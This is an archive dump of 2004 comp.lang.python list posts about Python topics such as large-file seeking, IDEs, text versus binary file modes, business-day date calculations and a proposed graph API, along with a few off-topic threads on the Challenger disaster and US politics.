Sep 2004 20:14:46 GMT Subject: lfs confusion In-Reply-To: References: Message-ID: Peter Hansen wrote: > Wouldn't doing type(fd.tell()) be better than coupling > the logic to what might be a changing representation of > the data? I suggested using repr instead of str because that would make the smallest impact on the OP's code. Using type(fd.tell()) == long) or rather isinstance(fd.tell(), long) would be better, but I can see a few possible problems. - What does tell() return on a 64 bit machine? A Python integer or long? - When unification is finished, will it be that isinstance(0, long) and/or isinstance(2**35, int) (on a 32 bit machine)? Since the question is "can I seek to positions > 2**31" it seems easier to just try to seek to something that high up. The OP pointed out that /dev/null supports seeks, making it the easiest one to test on a Unix system. I looked in the available configuration information (distutils.sysconfig and grepping /usr/local/lib/python2.4/config ) but didn't see any mention of HAVE_LARGEFILE_SUPPORT so I don't think it's possible for the runtime Python to figure that information expect by testing the function calls. Andrew dalke at dalkescientific.com From rschroev_nospam_ml at fastmail.fm Thu Sep 16 15:31:09 2004 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Thu, 16 Sep 2004 19:31:09 GMT Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <1gk7m2e.jnaaas1e93hhqN%aleaxit@yahoo.com> References: <2qo1v3F11r4inU1@uni-berlin.de> <1gk5km1.1swwqe59any8yN%aleaxit@yahoo.com> <2qtcjpF120qvbU1@uni-berlin.de> <1gk7m2e.jnaaas1e93hhqN%aleaxit@yahoo.com> Message-ID: <1Sl2d.248269$lc4.12735558@phobos.telenet-ops.be> Alex Martelli wrote: > >>>Except, no tabbed interface when editing multiple files (not even with >>>GVIM: just ONE window, as seen from the OS/GUI level, even though vim >>>can partition it). Vim is my favourite editor, but the lack of tabbed >>>interface _is_ a pity. > > Me too, but that's part of why I grouse so badly about the few things > Vim doesn't do _right_. When I'm dialed in, no GUI, slow line, and have > to use vim without the G, sure, kludges like window splitting are better > than nothing. But mostly I'm on a GUI, with gvim, and the lack of > tabbed editing just sucks. Next time I have some spare time (that will > be the day) I'll give emacs+its vi emulations another try, I think. > Most likely I'll come back to Vim and start grousing again, tho...;-) To each his own, but in my experience with :bn, :bp, CTRL-6 and :buf + tab completion, vim works about as well as tabbed editing. Requires more commands to know then a GUI, but that's not a problem for vim-lovers. -- "Codito ergo sum" Roel Schroeven From deetsNOSPAM at web.de Wed Sep 15 17:31:42 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Wed, 15 Sep 2004 23:31:42 +0200 Subject: thread specific sys.stdout? References: <1M2dnfnUBsOaLtXcRVn-jA@powergate.ca> Message-ID: Peter Hansen wrote: > Have you run this code? It looks to me suspiciously as > though it will raise an exception on the second write > call in any given thread, as the non-shortcircuiting call > to .get() tries to open the nice_file in write mode for > a second time. Nope, didn't run it - and you are right of course. I should have said more clearly that the code was untested - I thought that describing it as "might look roughly like this" would suffice. > Also, what's "_" supposed to be here???self? Yup it is - I use _ for self - I tried to adapt to the common standard for the post, but failed in the middle of it. Sorry for the confusion. -- Regards, Diez B. Roggisch From secun at yahoo.com Tue Sep 14 09:22:09 2004 From: secun at yahoo.com (ChrisH) Date: Tue, 14 Sep 2004 13:22:09 GMT Subject: Communication between remote scripts References: Message-ID: Am I correct in saying that remote objects are not really needed for this? In article , secun at yahoo.com says... > I have a python script (A) that monitors a process (3rd party) on the > local machine (Windows). > > I would like to create a second program on a remote Windows computer > that receives an update from program A periodically (maybe every 10 > minutes or so), and tells it everything is running without a problem. > > Can anyone recommend a good (and preferably simple) way for two programs > to communicate on a network? > > From prep at prep.synonet.com Sun Sep 5 14:32:01 2004 From: prep at prep.synonet.com (Paul Repacholi) Date: Mon, 06 Sep 2004 02:32:01 +0800 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1094257487.855439@teapot.planet.gong> <1094285694.404322@teapot.planet.gong> <1bpt51alai.fsf@cs.nmsu.edu> <1094329053.514935@teapot.planet.gong> Message-ID: <871xhgh8im.fsf@k9.prep.synonet.com> Nick Landsberg writes: >> Indeed, it could have failed in a way entirely unique to >> itself... :) The O-Ring thing had been identified, was preventable >> and should have been prevented. Sure, perhaps the design did suck, >> but the point is the whole disaster was trivially avoidable if the >> people running the show were willing to grasp the nettle. > Since we're so far off-topic here anyway ... > It has been so many years since the Challenger disaster that memory > fades (especially at my age), so bear with me if a misremember > something. > As I recall, the particular launch happened during an unusual cold > spell in Florida. I also recall that the investigation uncovered > strong recommendations by several senior engineers, prior to launch, > that the launch should be postponed because the system (shuttle and > boosters) had never been launched during those kinds of weather > conditions. (It could very well be that they might have pointed out > the O-rings specifically, but I don't recall.) Some > managementcritter at some level (probably in NASA) ignored or > overruled those recommendations. I can only conjecture that this > was because that the prevailing culture (in most corporations, then > and now) is "we have to meet our schedules." Grab a copy of `Genius', Gleiks bio of RF and read the end chapters and note what was `leaked' to him. Before the launch, it was known that they where colder than any previous launch, and that the seal erosion problems they worried about where wose in colder conditions. The engineers wanted to holdm but that would have meant Ronny Raygun could not grandstand on TV, so N.A.S.A. -- Paul Repacholi 1 Crescent Rd., +61 (08) 9257-1001 Kalamunda. West Australia 6076 comp.os.vms,- The Older, Grumpier Slashdot Raw, Cooked or Well-done, it's all half baked. EPIC, The Architecture of the future, always has been, always will be. From daniel.dittmar at sap.corp Wed Sep 15 07:51:07 2004 From: daniel.dittmar at sap.corp (Daniel Dittmar) Date: Wed, 15 Sep 2004 13:51:07 +0200 Subject: i am going to get crazy!!! In-Reply-To: References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> <9418be08.0409150237.16f90c36@posting.google.com> Message-ID: Xavier Noria wrote: > Am I missing some sophisticated code analysis that allows conventional > code-completion? I think Wing IDE tries that approach, at least according to some posts in similar threads. It won't be perfect. I haven't tried it so I don't know if it's helpful because it works half of the time. Or annoying, because it beeps half of the time. Daniel From daniel.dittmar at sap.corp Tue Sep 28 06:09:50 2004 From: daniel.dittmar at sap.corp (Daniel Dittmar) Date: Tue, 28 Sep 2004 12:09:50 +0200 Subject: no ideas? In-Reply-To: References: Message-ID: richard wrote: > gcc 3.4.1 > > hello when i compile @ make with python 2.3.4 comes this error > > c++ -pthread -Xlinker -export-dynamic -o python \ > Modules/python.o \ > libpython2.3.a -lpthread -ldl -lutil -lm > /usr/bin/ld: Dwarf Error: Invalid or unhandled FORM value: 14. Google "Dwarf Error Invalid or unhandled FORM value" => http://gcc.gnu.org/ml/gcc/2002-02/msg00965.html Daniel From grante at visi.com Fri Sep 10 15:21:44 2004 From: grante at visi.com (Grant Edwards) Date: 10 Sep 2004 19:21:44 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: <4141fec8$0$65562$a1866201@newsreader.visi.com> On 2004-09-10, Chuck Dillon wrote: >> What makes you think that the current US government gives a >> shit about international agreements? Bush thinks he's entitled >> to declare anybody and everybody an "enemy combatant" and lock >> them up in secret forever. Add a moustache and he'd make a >> pretty good Stalin. > > Such statements only underscore the incredible ignorance of > the author or his/her assumption of ignorance in the reader. > President != Dictator. Such statements only underscore the incredible inability of the author to recognize hyperbole. -- Grant Edwards grante Yow! Boy, am I glad it's at only 1971... visi.com From rschroev_nospam_ml at fastmail.fm Fri Sep 24 08:12:19 2004 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Fri, 24 Sep 2004 12:12:19 GMT Subject: file read, binary or text mode In-Reply-To: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> Message-ID: Guyon Mor?e wrote: > what is the difference? On Unix/Linux, none. On Windows, binary mode is just that while text mode translates "\r\n" (or "\n\r", I always forget) to "\n" on input and vice-versa on output. I don't know about other platforms. > if I open a text file in binary (rb) mode, it doesn't matter... the read() > output is the same. Depends on your platform, and the format of the text file (Unix, Windows or other platform style line endings). -- "Codito ergo sum" Roel Schroeven From winexpert at hotmail.com Fri Sep 24 09:03:42 2004 From: winexpert at hotmail.com (David Stockwell) Date: Fri, 24 Sep 2004 13:03:42 +0000 Subject: incrementing a time tuple by one day Message-ID: Hi All, Thanks for your help here. In my case, I only needed to be approximately accurate to about 23 hours 59 minutes or roughly a day. I did manage to figure it out. Here is some source code that I used in debugging the problem (apologies in advance for the lack of comments/names,etc) ------- start import time import datetime # This is a Hack month = 'm' day = 'd' sYear = 'y' _fHol = [{month:1, day:1, sYear:2004} ,{month:1, day:19, sYear:2004} ,{month:2, day:16, sYear:2004} ,{month:5, day:31, sYear:2004} ,{month:7, day:5, sYear:2004} ,{month:9, day:6, sYear:2004} ,{month:10, day:11, sYear:2004} ,{month:11, day:11, sYear:2004} ,{month:11, day:25, sYear:2004} ,{month:12, day:24, sYear:2004} ,{month:12, day:31, sYear:2004} ,{month:1, day:17, sYear:2005} ] def _isAHoliday(pyear,pmonth,pday): """ checks to see if a given date is a holiday """ isAHoliday = 0 for holiday in _fHol: if pyear == holiday['y']: if pmonth == holiday['m']: if pday == holiday['d']: isAHoliday = 1 return isAHoliday def _extendForHoliday(startDate,allowedMax): extendedDays = 0 i = 0 year = 0 month = 1 day = 2 dayOfWeek = 6 saturday = 5 sunday = 6 while i < allowedMax: d = datetime.datetime.fromtimestamp(time.mktime(startDate)) testDate = d + datetime.timedelta(days=i) tt = time.strptime("%s%s%s" % (testDate.year, testDate.month, testDate.day), "%Y%m%d") if _isAHoliday(tt[year],tt[month],tt[day]): print "Found a holiday: %s/%s/%s Yeah!!" % (tt[year], tt[month], tt[day]) extendedDays += 1 elif tt[dayOfWeek] == saturday or tt[dayOfWeek] == sunday: print "Got a Weekend day (%s/%s/%s) Yeah!" % (tt[year], tt[month], tt[day]) extendedDays += 1 i += 1 print "# days extended are %s" % extendedDays return extendedDays start = '2004/11/10' test1 = time.strptime(start,"%Y/%m/%d") max = 5 y = _extendForHoliday(test1, max) print "For %s and range %s you get %s days off " % (start,max,y) -------- fin David ------- Surf a wave to the future with a free tracfone http://cellphone.duneram.com/index.html >From: claird at lairds.us (Cameron Laird) >To: python-list at python.org >Subject: Re: incrementing a time tuple by one day >Date: Thu, 23 Sep 2004 20:08:05 GMT > >In article , >Donn Cave wrote: > >In article , > > Peter Hansen wrote: > >> David Stockwell wrote: > . > . > . > >Well, who knows, maybe datetime is the answer for him, > >but if not, I would just use 24*60*60 instead of trying > >to get one day in seconds out of mktime(). (I think if > >you look at the date closer, it isn't decremented all!) > > > > Donn Cave, donn at u.washington.edu > >While I quickly lost track of who said what, I've been around >long enough to know that some people are touchy about there >NOT being 24 * 60 * 60 seconds in a day near "daylight-savings" >switches. I have no idea whether that's the case for Mr. >Stockwell. >-- >http://mail.python.org/mailman/listinfo/python-list From jmfbahciv at aol.com Mon Sep 13 06:41:22 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Mon, 13 Sep 04 10:41:22 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: <41458c92$0$2648$61fed72c@news.rcn.com> In article , Ville Vainio wrote: >>>>>> "Grant" == Grant Edwards writes: > > Grant> shit about international agreements? Bush thinks he's > Grant> entitled to declare anybody and everybody an "enemy > Grant> combatant" and lock them up in secret forever. Add a > Grant> moustache and he'd make a pretty good Stalin. > >I'll raise you a Hitler, in a (probably vain) attempt to invoke the >Godwin's law. This law doesn't work in a.f.c. newsgroup. It just gets us started talking about computers and guns and big [rhummm,rhummm] vehicles. /BAH Subtract a hundred and four for e-mail. From alanmk at hotmail.com Sun Sep 26 11:41:49 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Sun, 26 Sep 2004 16:41:49 +0100 Subject: Blender! In-Reply-To: <10ldkhbkmilivc7@corp.supernews.com> References: <10ldkhbkmilivc7@corp.supernews.com> Message-ID: <9lB5d.32089$Z14.10905@news.indigo.ie> [Phil Frost] >>Hopefully I got that right. I can't solve your problem, but I did find >>some forums in portuguese that might address your problem. [Jeffrey Froman] > But isn't the OP in Italian? The OP was Italian. But Spanish, Portugese, French, Italian et al (i.e. "The Romance Languages", derived from Roman Latin) are sufficiently similar that it is frequently straightforward for a speaker of one such language to read and absorb some of the meaning of a piece in another such language. My (school) French and Latin permitted me to understand the general meaning of the OP's post. It's just that I don't know anything about Blender! :-) regards, -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From richie at entrian.com Wed Sep 29 04:52:09 2004 From: richie at entrian.com (Richie Hindle) Date: Wed, 29 Sep 2004 09:52:09 +0100 Subject: False exceptions?" (was Re: theme of the week: tools In-Reply-To: References: Message-ID: [Stephan] > The "false exceptions" thing is a technical limitation of detecting > whether or not an exception is going to lead to program termination at the > moment it is raised [Richie] > Assuming an exception "is going to lead to program > termination", trapping it at the point it's raised is only one instruction > away from trapping at the point it causes termination (via sys.excepthook) [David] > You're assuming that it's all Python code up the stack until the final > exception handling. If there's an extension module in the way, you > lose the ability to get at the information, and if that extension > module decides to absorb the error, then there's no longer a chance to > catch it. I'll get my coat. -- Richie Hindle richie at entrian.com From grante at visi.com Fri Sep 24 08:26:53 2004 From: grante at visi.com (Grant Edwards) Date: 24 Sep 2004 12:26:53 GMT Subject: file read, binary or text mode References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net> Message-ID: <4154128d$0$80690$a1866201@newsreader.visi.com> On 2004-09-24, Guyon Mor?e wrote: > ok, i have huffman encoding code. You should open the file in binary. > this is actually build for text, All of the Huffman encoding implimentations I've seen output binary, but I'll take your word for it. > but because python can also > read a binary file as a string, this applies equally well :) If the file contains printiable text with cr/nl, nl, or cr line endings, then open it in text mode. Otherwise open it in binary mode. > but, i was just wondering if this gives any problems if I use > text-mode read for the binary files and vice versa. Yes, it will give you problems. > If I undertand correctly now, using binary mode is _always_ save, right? No. If it's text, open it in text mode. That way the line endings are handled properly. -- Grant Edwards grante Yow! I think I'll do BOTH at if I can get RESIDUALS!! visi.com From peter at engcorp.com Mon Sep 13 11:09:11 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 Sep 2004 11:09:11 -0400 Subject: Not able to read blank lines and spaces on a small text file In-Reply-To: <4145b6f6$0$19816$afc38c87@news.easynet.co.uk> References: <2e569af.0409130648.a6aa116@posting.google.com> <4145b6f6$0$19816$afc38c87@news.easynet.co.uk> Message-ID: <5fSdnTiE0paFJdjcRVn-oQ@powergate.ca> Peter Hickman wrote: > Ruben wrote: > >> Hello. >> >> I am trying to read a small text file using the readline statement. I >> can only read the first 2 records from the file. It stops at the blank >> lines or at lines with only spaces. I have a while statement checking >> for an empty string "" which I understand represents an EOF in Python. >> The text file has some blank lines with spaces and other with blanks. > > > My brain is not really working but a blank line is not how python > processes a the EOF. Actually, it is when using things like .readline(), which return even the newline \n at the end of the line... -Peter From robin at wiretooth.com Thu Sep 2 19:46:17 2004 From: robin at wiretooth.com (Robin Bryce) Date: Fri, 03 Sep 2004 00:46:17 +0100 Subject: using generators for event handling in python. In-Reply-To: <2eMZc.1265$ZS6.396@trndny07> References: <2eMZc.1265$ZS6.396@trndny07> Message-ID: <1094168777.7156.32.camel@localhost.localdomain> Thanks, I don't have a compact version. I could remove the fork feature but I think this is pretty crucial. And I could strip the comments out. I definitely need to rethink the examples. I don't think any of that really helps express the essence though. Let me see what I can do to boil out the bloat. I've updated the link in the original post to point at a page that tracks the changes. Thankyou very much for responding ! Robin Bryce On Thu, 2004-09-02 at 22:26, Raymond Hettinger wrote: > > I've been looking at generators from the context of event oriented web > > application development. I was thinking of submitting a version of > > http://www.wiretooth.com/eventhub_recipe.html as a recipe for the python > > cookbook. > > It's somewhat long for a recipe. Do you have more compact code that conveys the > essense of your approach? > > > Raymond Hettinger > From fuzzyman at gmail.com Fri Sep 10 05:02:23 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 10 Sep 2004 02:02:23 -0700 Subject: Request Headers In a CGI Message-ID: <6f402501.0409100102.3fa002ea@posting.google.com> Is it possible to get at the http request headers in a normal CGI ? I can't touch the server, so I can't install anything like mod_python. I've tried googling but the answer seems to be 'no'. I know I can reconstruct *most* headers from the environment variables - is this my only option ? I've heard of 'non-parsed headers', but I don't know how to use them from within a python cgi.... Anyone got any clues, or answers ? Regards, Fuzzy http://www.voidsapce.org.uk/atlantibots/pythonutils.html From carribeiro at gmail.com Thu Sep 9 08:33:37 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 9 Sep 2004 09:33:37 -0300 Subject: Question: tools for business apps development In-Reply-To: <2qavr3Ft7dgdU1@uni-berlin.de> References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> <2qavr3Ft7dgdU1@uni-berlin.de> Message-ID: <864d37090409090533e636984@mail.gmail.com> On Thu, 09 Sep 2004 08:17:52 -0400, Daniel Ellison wrote: > [talking about the risks regarding Flash changes] > A risk, yes, but not much of one. I have to agree, and I admit that my problems with Flash come down to two small issues: -- It's too glitzy :-) Yes, it may be a problem for people used to design apps the old way. It's funny to note that Windows apps are not much different from old text apps, as far as the structure of the dialogs and windows is concerned. Everything is a rectangle. Flash frees you of this kind of limitation. This kind of freedom can be frightening for old timers (such as me). -- Philosophically thinking, it's not free so it should not be used. This a Stalmanish position, but it does have some power in the context of a decision to use only free tools. BTW, if the Flash format is already open, and if Shockwave can't just change it, why do they don't just dedicate it to the public domain as proof of their good intentions? The fact is that there are a lot of stuff that they want to keep for themselves -- the power to steer the development of the Flash standard, and possibly a few patented processes to generate or render some of its features. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From p at ulmcnett.com Tue Sep 14 16:58:55 2004 From: p at ulmcnett.com (Paul McNett) Date: Tue, 14 Sep 2004 13:58:55 -0700 Subject: Random Instance generation In-Reply-To: <494182a9.0409141247.608d365f@posting.google.com> References: <494182a9.0409141247.608d365f@posting.google.com> Message-ID: <200409141358.55325.p@ulmcnett.com> Balaji writes: > Suppose there is a class A: > I want to generate say 100 random instance of it... Define "random instance". > How can I do that.... > I want the instance name to be like a1, a2, a3... If you just want to make 100 instances of a class, try something like: class A(object): pass for count in range(100): exec "a%s = A()" % count That is hardly random, though. -- Paul McNett Independent Software Consultant http://www.paulmcnett.com From barnesc at engr.orst.edu Mon Sep 6 15:48:07 2004 From: barnesc at engr.orst.edu (barnesc at engr.orst.edu) Date: Mon, 6 Sep 2004 12:48:07 -0700 Subject: Ramanujan & Python Message-ID: <1094500087.413cbef74a66f@webmail.oregonstate.edu> A bit of fun: Ramanujan, an Indian mathematician, was once visited in the hospital by G. H. Hardy, a prominant English mathematician. Hardy remarked that he had taken taxi number 1729, and Ramanujan quickly replied that 1729 is remarkable, as it is the smallest integer that can be represented in two ways by the sum of two cubes: 1729 = 1**3 + 12**3 = 9**3 + 10**3 [1]. Spectacular, no? The inspired reader checks this with a quick Python program: >>> L = range(1,21) >>> sums = [x**3+y**3 for x in L for y in L] >>> histo = [sums.count(i) for i in range(max(sums)+1)] >>> histo.index(4) 1729 Explanation: 20**3 is 8000, so our search extends only up to 8000. sums contains x**3+y**3 values for each x in L for each y in L. (note that 1**3 + 12**3 and 12**3 and 1**3 are counted twice in sums). histo counts how many times each value appears in sums. The point is that Python is great for mathematical experiments. This particular program is inefficient on the histo= line, so if you want to try other cases (such as smallest integer that can be represented in two ways by the sum of two fourths), you'll need to optimize. [1]. http://scienceworld.wolfram.com/biography/Ramanujan.html This document is in the public domain. - Connelly From imbosol at aerojockey.com Tue Sep 28 15:26:30 2004 From: imbosol at aerojockey.com (Carl Banks) Date: 28 Sep 2004 12:26:30 -0700 Subject: Metaclass with name overloading. References: Message-ID: <60dfb6f6.0409281126.48c277d9@posting.google.com> Jacek Generowicz wrote in message news:... > I would like to write a metaclass which would allow me to overload > names in the definition of its instances, like this > > class Foo(object): > > __metaclass__ = OverloadingClass > > att = 1 > att = 3 > > def meth(self): > pass > > def meth(self, arg): > return arg [snip] > Is something like this at all possible in pure Python? or does in > require fiddling around in the guts of the parser? Not exactly what you asked for, and a bit (litotes) ugly, but it does allow convenient subgroups within a class. I used a similar trick once when writing a little parser. def alltuple(name,bases,clsdict): return tuple(clsdict.values()) class Foo(object): class att: __metaclass__ = alltuple _1 = 1 _2 = 3 class meth: __metaclass__ = alltuple def _1(self): pass def _2(self,arg): return arg Making it nice and pretty left as an exercise. -- CARL BANKS From anna at aleax.it Mon Sep 20 17:58:41 2004 From: anna at aleax.it (Anna Martelli Ravenscroft) Date: Mon, 20 Sep 2004 21:58:41 GMT Subject: Calculating days using Business Days for the Calendar In-Reply-To: References: Message-ID: David Stockwell wrote: > I''m wondering if the Calendar object has an option to only do > calculations based on business days (ie M-F). Additionally does it have > a way to get holidays into itself? > > Currently I'm considering converting my calculations over to business > days and am wondering if there is anything built-in. I've tried > searching but so far haven't seen such a thing built in. > > I'm thinking I'm just going to have to bite the bullet and create my own > approach to > 1) figure out the day of the week of my starting date > (Calendar.weekday() should do the trick) > 2) determine the number of days up to my finish date (i do that now) > 3) determine the number of non-business days (weekends + holidays) > 4) subtract off the number in #3 from #2 AFAIK - there is no built-in to calculate this. Part of the problem may be that the European work week often includes Saturdays. I created my own - in fact, that was my very first Python program. (That was before the new datetime and dateutil modules.) I've long since lost that script (left it on my work computer), but there's better ways to do it now anyway. Some notes on rolling your own: Be careful on determining the number of days in your step (2) above - you can easily end up with off-by-one errors. Also, you'll need to set up your own list (or dict) of holidays - they vary by region (and by union). I created a script for that so I could add to it, pickled it and imported it at need. dateutil is great and the documentation is pretty kewl - but has an unfortunate tendency toward "from module import *"... Other than that, it's a really kewl module - be sure to check out the date parser. Here's a snippet of code that does the job but would need to be prettied up: import datetime from dateutil import rrule alpha=datetime.date(2004, 01, 01) # change to accept input omega=datetime.date(2004, 02, 01) # change to accept input dates=rrule.rruleset() # create an rrule.rruleset instance dates.rrule(rrule.rrule(rrule.FREQ_DAILY, dtstart=alpha, until=omega)) # this set is INCLUSIVE of alpha and omega dates.exrule(rrule.rrule(rrule.FREQ_DAILY, byweekday=(rrule.SA, rrule.SU), dtstart=alpha)) # here's where we exclude the weekend dates print len(list(dates)) # there's probably a faster way to handle this HTH Anna From mlh at furu.idi.ntnu.no Thu Sep 9 20:23:01 2004 From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland) Date: Fri, 10 Sep 2004 00:23:01 +0000 (UTC) Subject: Standard graph API? References: Message-ID: In article , Andrew Dalke wrote: >Magnus Lie Hetland wrote: >> Hm. How would the algorithms work without a standard API? > >There are certain things the different graphs have in >common. For example, > 1. "test if two nodes/edges are the same" > 2. "test if two nodes/edges are identically colored" > 3. "list of all nodes adjacent to a node" > 4. "list of all edges from a node" (either directed or > undirected) > 5. "get the appropriate weight"> Right. My idea was that we could define a standard API for this functionality, as in (e.g.) the DB API. Your code generating idea is an alternative. >Different graphs have different ways to do this. Yes. [snip] >The ways to get the properties differ but the things >you do with them do not change. Indeed. >I can concieve then some way to generate code >based on a template, like this [code generating template example snipped] Hm. What you're basically is proposing is (as you said, basically ;) a C++-like approach (as used in Boost)? Or -- this goes beyond the standard C++ approach, of course, as that would basically be a way of getting "standard Python functionality" in a static language. Your idea is interesting -- but quite a way from what I had envisioned... Would there be a way to combine the ideas? I.e. define an (abstract) interface to standard graph functionality and in addition have this sort of template stuff? It might be a bit far fetched, though, as it seems your template idea obviates the need for a standard interface. I need the interface for when I write my own algorithms -- I don't have as much need for templated stock algorithms; so it seems our needs may be somewhat complementary, perhaps? [snip] >Obviously it would need some sort of templating language. >Wonder if anyone's ever make one of those before. ;) Hehe. >> To clarify, by API I here mean a protocol, i.e. a definition of how a >> graph is supposed to behave -- *not* a standard implementation. > >I think we're talking about the same thing -- the sorts >of things you can do with nodes and edges, and not a >statement that a node or edge has a given property or method. Well -- I was rather aiming for a definition of a graph protocol (similar to e.g. the sequence protocol or the mapping protocol), and that would entail fixing the methods and attributes involved. [snip] >The problem is all the conversion from/to my graph >form to the standard graph form. Either the adapters >have to be live Sure -- that wouldn't be a problem, would it? >(so the modification to the standard >form get propogated back to my graph) or there needs >to be conversions between the two. Both sound slow. Maybe. I guess it depends on how you implement things. For example, if it's only a matter of renaming methods, that wouldn't entail any performance loss at all (you could just have another attribute bound to the same method). [snip] >There the idea for me would be > >find_flow = make_code(flow_template, > args = "source_nodes, sink_nodes, weight_table", > edges = "node.out_edges", > weight = "weight_table[edge]") But coding this doesn't seem like much fun. My hope was that I could write new graph algorithms so they looked somewhat pretty and readable. Having to write them in some new template langage doesn't seem very tempting. (As I said, stock algorithms aren't of that much interest to me.) >> Wouldn't it be *much* better to use the established (but not standard) >> mechanism of object adaptation, as championed in PEP 246 and as >> implemented and extended upon in PyProtocols? > >Not really. Consider the events that could occur in a >DFS. There's > - on enter > - on exit > - on backtrack >and probably a few more that could be used in a general >purpose DFS. But I might need only one of them. With >a PE 246 adapter I can adapt my graph to fit the algorithm, >but if I don't need all of those events there's no way >to adapt the algorithm to fit my needs. I don't see how this has anything to do with the issue at hand, really. The person who implemented the DFS could deal with this issue (by parametrizing it) or something. (*Or* using adaptation, for that matter.) I'm sure there are many other ways of dealing with this... IMO this is orthogonal. Whether or not you can tell the DFS how you access the neighbors of a node isn't directly related to what you want the DFS to do... >(Yes, even though I'm using Python I'm still worried >about efficiency.) Well -- you could always make a C library for your graph structures, with an optional interface (without any performance loss) that conformed to the Hypothetical Graph API(tm), somewhat reminiscent of how the DB API works... >> (If only adapt() could become a standard library function... >> ;) > >Perhaps someday, when people get more experience with it. >I've not yet used it. I agree with you -- one ought to get more experience with it. I have not used it seriously myself. I think it might have quite a bit of potential in this sort of situation, though. >>>There would need to be some standards on how the graph is used, like >>>"two nodes are the same iff 'node1 is node2'" >> >> Yeah. Or one might want to allow equality to determine this, so that >> the implementer could decide how to do it (nodes might be dynamically >> created front-end objects after all). > >I found that 'is' testing for my graphs is much better. The problem is that it is impossible to override. If I were to use some special hardware as the source of my graph (which is a realistic example for me) I might have to create node wrappers on the fly. Unless I use the Singleton pattern (the Borg pattern wouldn't work) I could easily end up with equal but non-identical nodes, and no way of overriding this. >At the very least, it's a lot faster (no method call overhead). Right. [snip wiki stuff] >It said "warning, in use, you might want to wait about 10 >minutes before editing." Right -- I was making some changes ;) >I think it's been about 10 minutes now. :) Yup. Just go ahead and add stuff. -- Magnus Lie Hetland The time you enjoy wasting is not wasted time http://hetland.org -- Bertrand Russel From fredrik at pythonware.com Wed Sep 22 03:08:48 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 22 Sep 2004 09:08:48 +0200 Subject: list.pop and print doing funny things References: <000701c4a00a$576042e0$fd56e640@amd950> Message-ID: Roy Smith wrote: >> does not return a non-None result. > > Is that another way of saying, "returns None"? sure, but it's also a direct reference to the phrases "the result of every expression that returns a non-None value is displayed." and "Your "l.pop(l.index(x))" returns a non-None result" that comes just before it. do you often read posts from the bottom up, or do you just have a very short short-term memory? ;-) From nospam at nospam.nospam.edu Mon Sep 13 01:09:42 2004 From: nospam at nospam.nospam.edu (Gregor) Date: Mon, 13 Sep 2004 05:09:42 GMT Subject: pythonwin demos Message-ID: Does anyone know where I can find the pythonwin demos? The documentation says they're in site-packages\pythonwin\pywin\demos, but there is no such folder. I searched my HD for the demo file "guidemo.py," also mentioned in the docs, and it's not there anywhere. Thanks, Greg. From usenet_spam at janc.invalid Sun Sep 19 19:32:41 2004 From: usenet_spam at janc.invalid (JanC) Date: Sun, 19 Sep 2004 23:32:41 GMT Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk7753.1c973iatj1rtuN%aleaxit@yahoo.com> <1gk91v9.1k6244t1tmaymsN%aleaxit@yahoo.com> Message-ID: Alex Martelli schreef: > The quarrel 'du jour' against Apple, > to give another example, is about the fact that iTunes song downloads > cost 20% more in the UK than Germany or France, and the latter two > countries won't even let you buy unless you can give a French/German > address and credit card (in Italy you can't buy from any of these > stores... unless you're lucky enough to have an address and credit card > in the appropriate country...). This is arguably against Europe's > single-market laws, and since we're talking about downloads over the net > the "logistics" argument is laid bare for the feeble excuse it is. > Indeed Apple's response that I've seen is not about trying to argue that > it costs more to push bits to London than to Paris, but rather that > iTunes song prices should be compared, not with the prices of the same > song in different countries, but rather with the prices of other songs > from competitors in the same country. In other words, Apple is charging > all the market will bear, segmenting markets ruthlessly to do so, even > when they have to break laws in order to scrounge extra profits that > way. I think it's quite a myopic attitude, eroding any goodwill from > people who LIKE their products and turning it into rage and loathing. This is probably not only Apple's fault. Most local music distribution rights are owned by different, local companies that don't want to lose their possible income/power, so online music stores like Apple often have to make separate agreements per country... -- JanC "Be strict when sending and tolerant when receiving." RFC 1958 - 